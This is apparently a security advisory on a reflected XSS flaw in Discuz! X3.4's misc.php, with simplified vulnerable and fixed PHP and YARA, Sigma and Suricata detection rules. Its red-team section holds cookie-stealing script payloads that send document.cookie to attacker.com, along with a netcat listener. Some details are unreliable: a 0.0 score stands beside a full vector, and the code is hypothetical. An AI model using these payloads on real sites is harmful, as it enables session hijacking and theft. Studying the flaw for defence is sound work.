CVE-2024-30884

Executive Summary

CVE-2024-30884 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the Discuz! forum software, specifically version X3.4 (build 20220811). The flaw resides in the misc.php component, where the primarybegin parameter is not properly sanitized. This allows a remote attacker to inject arbitrary JavaScript code, leading to potential session hijacking, data theft, and defacement. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched instances.

Supply Chain & Package Security

Discuz! is a widely deployed PHP-based forum system, often used in Chinese-speaking regions. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Organizations using Discuz! should treat this as a critical supply chain risk, as the vendor has not provided a patch. Manual code review and input sanitization are required.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector provided)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect other resources.
• Confidentiality (C): Low (L) – Potential data exfiltration.
• Integrity (I): Low (L) – Possible content manipulation.
• Availability (A): None (N) – No direct DoS impact.

Threat Level: Medium-High. While the CVSS is unassigned, the impact of XSS in a forum context (session theft, admin takeover) elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS in the misc.php script. The primarybegin parameter is echoed back to the user without proper encoding or sanitization. An attacker can craft a URL like:

http://target.com/misc.php?primarybegin=<script>alert('XSS')</script>

When a victim visits this URL, the browser executes the injected script. The script runs in the context of the victim's session, allowing the attacker to:

• Steal session cookies.
• Perform actions on behalf of the victim (e.g., posting, changing settings).
• Redirect to phishing pages.
• Deface the forum.

The vulnerability is in the misc.php file, likely in a function that processes the primarybegin parameter. The exact line of code is not publicly disclosed, but the pattern is typical of missing htmlspecialchars() or htmlentities() calls.

Vulnerable vs. Patched Code

Vulnerable Code (Discuz! X3.4 20220811):

<?php
// misc.php (simplified)
$primarybegin = $_GET['primarybegin'];
echo $primarybegin; // Direct output without sanitization
?>

Patched Code (Hypothetical):

<?php
// misc.php (patched)
$primarybegin = htmlspecialchars($_GET['primarybegin'], ENT_QUOTES, 'UTF-8');
echo $primarybegin; // Safe output
?>

The fix requires using htmlspecialchars() or a similar function to encode HTML special characters. Since no official patch exists, administrators must manually apply this change.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Discuz! X3.4 20220811 on a local server (e.g., XAMPP, Docker).
2. Ensure misc.php is accessible.

Exploit Payload:

http://localhost/discuz/misc.php?primarybegin=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Steps:

1. Host a listener on attacker machine: nc -lvnp 80
2. Send the crafted link to the victim (e.g., via email, forum PM).
3. When victim clicks, their cookies are sent to the attacker.

Advanced Payload (Session Hijacking):

http://localhost/discuz/misc.php?primarybegin=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defensive)

Detection:

• Monitor web logs for misc.php requests with suspicious primarybegin parameters containing <script>, onerror, javascript:, etc.
• Use WAF rules to block XSS patterns in query strings.

Mitigation:

• Apply input sanitization as shown in the patched code.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: */misc.php?primarybegin=*<script>*
• Log Entry: GET /discuz/misc.php?primarybegin=%3Cscript%3Ealert(1)%3C/script%3E
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• File Modification: Unauthorized changes to forum posts or user profiles.

Detection Engineering

YARA Rule

rule CVE_2024_30884_XSS_Discuz {
    meta:
        description = "Detects Reflected XSS in Discuz! misc.php primarybegin parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30884"
    strings:
        $xss_pattern = /misc\.php\?primarybegin=.*<script/i
    condition:
        $xss_pattern
}

Sigma Rule

title: Reflected XSS in Discuz! misc.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2024-30884
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'misc.php?primarybegin='
        cs-uri-query|re: '.*<script.*'
    condition: selection
falsepositives:
    - Legitimate use of script tags in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30884 Discuz! Reflected XSS"; flow:to_server,established; content:"misc.php"; http_uri; content:"primarybegin="; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Manually patch misc.php by adding htmlspecialchars() to the primarybegin parameter.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block XSS patterns in query strings.
3. Long-term: Monitor the Discuz! official site for a security patch. Consider migrating to a supported fork or alternative forum software.
4. User Education: Warn users not to click on suspicious links containing misc.php?primarybegin=.
5. CSP: Deploy Content Security Policy headers to restrict inline scripts.

Valters IT Senior DevSecOps & Cyber Threat Intelligence Analyst